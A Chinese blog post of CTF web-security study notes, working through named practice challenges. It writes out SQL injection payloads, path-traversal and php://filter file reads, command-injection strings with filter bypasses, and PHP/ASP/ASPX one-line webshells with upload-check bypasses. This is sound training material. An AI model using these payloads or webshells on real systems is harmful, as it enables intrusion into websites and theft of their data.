Web学习笔记

本文最后更新于:2023年10月4日 凌晨

Web学习笔记(Updating…)

$\mathscr{Author:CoolWind}$

SQL注入

1.万能密码

能使用万能密码注入的sql语句形如SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'

由于MySQL中优先级关系为or<and<not,故如果我们构造一个为真的语句用OR链接,那么就可以使该语句的返回值为TRUE,即能成功进入。

例如:输入以下语句:1' OR '1'='1,将其拼接到Password的地方,那么在拼接时会将其拼接为SELECT * FROM admin WHERE Username= '1' AND Password= '1' OR '1'='1',这样'1'='1'为真,故从右向左结合,整个句子为真,即注入成功。

2. 堆叠注入之爆库(show的使用)

在sql语句中,可以进行堆叠注入,即使用;符号将很多sql语句连接在一起进行爆库、爆表的操作。

show databases:爆数据库

show tables:爆表

show columns from xxxx:爆xxxx表中的列

注:如果xxxx表的名称为数字,那么需要用反引号进行包含。

3. 堆叠注入之改表(rename alter SQL约束的使用)

可以通过将需要的表改为默认的表名,并且根据原表一比一复制列名进行改表,从而拿到flag。

alter相关:

  • 改表名:alter table " table_name" rename to " new_name"

  • 添加一个列:alter table " table_name" add "column_name" type;

  • 删除一个列:alter table " table_name" drop " column_name" type;
  • 改变列的数据类型:alter table " table_name" alter column " column_name" type;
  • 改列名:alter table " table_name" change " column1" " column2" type;或者alter table "table_name" rename "column1" to "column2";

SQL约束相关:

  • not null-指示某列不能储存NULL值:alter table persons modify age int not null;//设置 not null 约束 以及alter table person modify age int null;//取消 null 约束
  • primary key-NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键:alter table persons add age primary key (id)
  • unique-保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束):alter table person add unique (id);//增加unique约束。
  • check-限制列中值的范围:alter table person add check (id>0);
  • default-规定没有给列赋值时的默认值:alter table person alter column city set default 'chengdu' ;
  • auto_increment-自动赋值,默认从1开始。
  • foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性。

例如[强网杯 2019]随便注:

可以通过如下语句进行改表以及约束,从而查询flag:1'; rename table words to word1; alter table '1919810931114514' rename to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

以上语句实现了修改表名、给表增加列并且约束为自增、非空以及自动赋值。

4. 设置变量编码execute执行处理

例如[强网杯 2019]随便注:

由于select被过滤,可以将

1
select * from `1919810931114514` 

进行16进制编码,再进行execute进行执行:

1
;SET @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

SET@可以设置变量,将其设置为要执行语句的十六进制编码,之后进行prepare...from...的预处理,然后进行execute的执行。

5. handler读入

handler语句可以生成一个指向指定表的指针。

1
handler table_name open as handler_name;

可以通过read next语句读取表的下一行。

1
handler handler_name read next;

例如[强网杯 2019]随便注:

可以通过构造payload:

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

进行一个flag的读取。

注:可以通过多次调用

1
handler `a` read next;

进行表中多行数据的查。

6. *的妙用

在没有头绪的时候可以尝试使用*来进行一个所有字段的查。

例如[SUCTF 2019]EasySQL:

由于没有过滤*,因此可以构造payload为:*,1从而查到所有的字段,爆flag。

7. 联合查询

可以使用union select进行联合查询,完成爆回显点、爆库、爆表等操作。

  • 使用union select 1,2,3等语句进行爆回显点。
  • 使用union select database()爆库名
  • 使用union select group_concat(table_name) from information_schema.tables where table_schema=database()爆表名
  • 使用union select group_concat(conlumn_name) from information_schema.columns where table_name='your_table_name'爆列名
  • 使用union select group_concat(column1,column2,...,columnx) from your_table_name爆数据

information_schema是一个信息数据库,其中包括了该数据库中的所有内容。

更详细的内容可以查看CSDN带佬的文章

8. 双写绕过

如果unionselect等注入短语被检测删除,可以通过双写进行绕过。

双写绕过是通过将相同的词语进行包含,通过检测同时保留本身功能。

例如[极客大挑战 2019]BabySQL:

本题过滤了unionselect等词语,因此需要通过双写进行绕过爆表。

例如将union改为ununionion,当其中的union被过滤掉之后,剩余的字符串仍然可以拼接成union,因此能够保留其功能。

php相关

1. $_GET变量的使用

在php代码中,$_GET[]可以从URL中获取到该数组中键的值,并且赋值给使用它的变量。

例如[极客大挑战 2019]Havefun:

f12注释中给出的审计代码为:

1
2
3
4
5
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

因此我们可以在URL后构造payload:/?cat=dog即可以显现flag。

2. 上层目录的访问

在php代码中,include函数用于包含其后所链接的路径/文件名称的文件。$_REQUEST语句用于获取其包含的键的值,与$_GET类似。

因此,可以通过构造payload实现对服务器上层文件的访问。

例如[HCTF 2018]WarmUp:

通过访问source.php文件可以看到如下高亮代码(当然注释是大佬答案给的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//如果page的值为空或者不是字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//检测page的值是否在白名单中
if (in_array($page, $whitelist)) {
return true;
}
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
//检验page的值是否在白名单内
if (in_array($_page, $whitelist)) {
return true;
}
//将url编码后的字符串还原成未编码的样子,然后赋值给page
$_page = urldecode($page);
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
//检验page的值是否在白名单内
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

结合给出的hint:flag not here, and flag in ffffllllaaaagggg

我们可以知道flag在名为ffffllllaaaagggg的文件中,因此需要找到该文件。根据代码因为$_REQUEST的是file,同时通过读码可以知道,hint.php是在白名单中的,并且可以通过问号切割,因此通过构造?file=hint.php?../../../../../ffffllllaaaagggg的payload,就可以访问到名为ffffllllaaaagggg的文件,成功拿到flag。

3. php://filter协议查看源码

php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。

根据名字filter,可以很容易想到这个协议可以用来过滤一些东西;使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

例如[ACTF2020 新生赛]Include

通过构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php可以通过base64编码组织php文件的运行,从而读取到源码,拿到注释中的flag。

4. php内核中对变量名的格式化

根据15年前的php文档可以知道:

1
2
3
4
5
6
7
The full list of field-name characters that PHP converts to _ (underscore) is the following (not just dot):
chr(32) ( ) (space)
chr(46) (.) (dot)
chr(91) ([) (open square bracket)
chr(128) - chr(159) (various)

PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.

php内核会将一些非法字符自动转化成_,同时这个转化只会发生一次,因此我们可以将首先为下划线的位置替换成为非法字符,让其进行一次转化,就可以防止其对后面的非法字符进行转化。

例如[NewStar2023 新生赛]R!C!E!

要传入的参量为e_v.a.l,因此我们需要传入的参量为e[v.a.l[_替换,从而将参数传入。如果不改为[,传入的参量会变成e_v_a.l,没有回显。

引用大佬的一句话:它也就只能用来出题了。

5. php字符串的解析特性绕过

php字符串在解析的时候会删除空白符并且根据格式化将某些非法字符变成_。如果WAF(Web应用防火墙)不让向某变量写入值的时候,可以在前面加上空格进行绕过。如不让传入"num"变量,那么就可以构造变量为" num",绕过了WAF的同时php会删除前面自带的空格,从而对该变量进行写入。

如果过滤了某些字符,可以通过chr(ASCII码)进行绕过。

Linux命令

1. ls cat 命令的应用

ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)。

cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。

通过这两个命令,可以对靶机系统进行操作,从而显示出其中的flag文件。

例如[ACTF2020 新生赛]Exec

可以输入127.0.0.1|ls对当前目录下文件进行查询,之后可以通过127.0.0.1|ls /对其根目录文件进行查询,进而查找到flag文件的位置。

之后通过127.0.0.1|cat /flag可以将文件内容打印到屏幕上,获取flag。

2. 代替、拼接字符串绕过
1
2
3
4
5
6
7
8
命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

可以通过调用变量进行一个过滤的绕过:

例如[GXYCTF2019]Ping Ping Ping:

该题过滤了空格以及flag关键词,因此可以选择变量绕过。

构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php,这样构造可以通过声明一个变量a,将其赋值为g,然后在cat的过程中使用变量a将g替换,这样可以绕过flag以及空格的过滤,从而进行一个过滤的绕过。

经过实验可以知道,在空格绕过时$9可以替换为任意1-9数字,因为$n代表shell中传递给脚本的第n个参数,如果没有传递参数,那么返回值为空,仅对$IFS与文件名进行一个分割作用。

同时了解到,如果不将.之前的字母使用变量替换,那么会导致在解析过程中该值被提前替换,从而无法起到绕过的作用。

3. 内联执行

在linux中,可以通过反引号` 进行一个函数的内联。内联函数会先执行,并且将执行结果直接连接到内联函数所在的地方,这样就可以绕过过滤。

例如[GXYCTF2019]Ping Ping Ping:

同上,我们可以构造如下payload:

1
?ip=127.0.0.1;cat$IFS$9`ls`

这样就可以进行内联操作,直接展示flag.php以及index.php的源代码,从而获取到flag。

Http相关

1. 使用burpsuite进行网站抓包

将需要抓包的url用添加代理的浏览器打开或者添加扫描,可以查看网站的返回值,从而看到源码。

例如[极客大挑战 2019]Secret File

2. 更改http请求头

可以通过hackbar直接更改请求头,或者通过burpsuite进行抓包更改。

  • Referer字段用于指示当前请求是从哪个URL(引用页)跳转而来的。它提供了有关引用页面的信息,帮助服务器了解请求的上下文和来源。
  • User-Agent字段用于标识发起请求的客户端(通常是浏览器)的相关信息。它包含了客户端应用程序或设备的名称、版本号、操作系统和其他相关描述,帮助服务器了解发送请求的客户端特性和能力。
  • X-Forwarded-ForX-Real-IP字段用于指示请求经过的代理服务器链路上的客户端IP地址。

例如[极客大挑战 2019]Http:

需要通过更改请求头为:

1
2
3
Referer: https://www.Sycsecret.com
User-Agent: Syclover
X-Forwarded-For: 127.0.0.1

更改引用页面、浏览器标识以及伪造本地阅读,从而拿到flag。

上传相关

1. 一句话木马

本类题主要通过上传端口上传一句话木马进而通过蚁剑对服务器进行访问,最终拿到flag。

常见的一句话木马:

1
2
3
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

基本原理:利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过蚁剑即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。

蚁剑中的连接密码是$_POST之后的字符串。

例如[极客大挑战 2019]Knife:

网页中给出了eval($_POST['Syc']),因而将其作为连接密码通过蚁剑进行连接,从而能够获取到flag。

除此之外,有时需要应用burpsuite进行传入文件的类型或者文件名称的更改。

需要将文件后缀名改为phtml上传,因为phtml文件可以被服务器认作php文件进行执行。

例如[极客大挑战 2019]Upload、[ACTF2020 新生赛]Upload:

这两道题分别需要通过抓包更改文件的类型Content-Type或者filename进行检测的绕过。

2. 前端绕过

可以通过上传名称为符合前端进行绕过,也可以通过打开浏览器禁用js选项进行绕过。

3. 后端检测绕过

目前只接触了通过burp更改名称绕过,原理是因为后端通过从前到后检测文件后缀,因此只需要在.php前加上一个.png就可以绕过。


Web学习笔记
http://cool-wind.top/2023/07/08/Web学习笔记/
作者
CoolWind
发布于
2023年7月8日
许可协议